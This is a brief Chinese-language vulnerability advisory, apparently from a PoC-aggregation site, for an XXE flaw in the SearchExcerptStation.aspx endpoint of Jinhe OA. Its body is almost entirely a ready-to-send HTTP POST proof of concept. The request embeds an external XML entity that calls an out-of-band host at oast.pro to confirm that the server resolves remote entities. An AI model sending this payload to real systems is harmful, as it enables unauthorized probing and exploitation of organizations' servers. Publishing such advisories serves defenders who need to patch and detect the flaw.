金和OA SearchExcerptStation.aspx XXE漏洞

日期: 2025-10-31 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA SearchExcerptStation.aspx XXE漏洞

PoC代码

POST /c6/Jhsoft.Web.Appraise/SearchExcerptStation.aspx/ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 165
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://d41hmt9lt95khm12lb2gjhhy9m4gh18e6.oast.pro/xxe_test">
%remote;]>
<root/>

相关漏洞推荐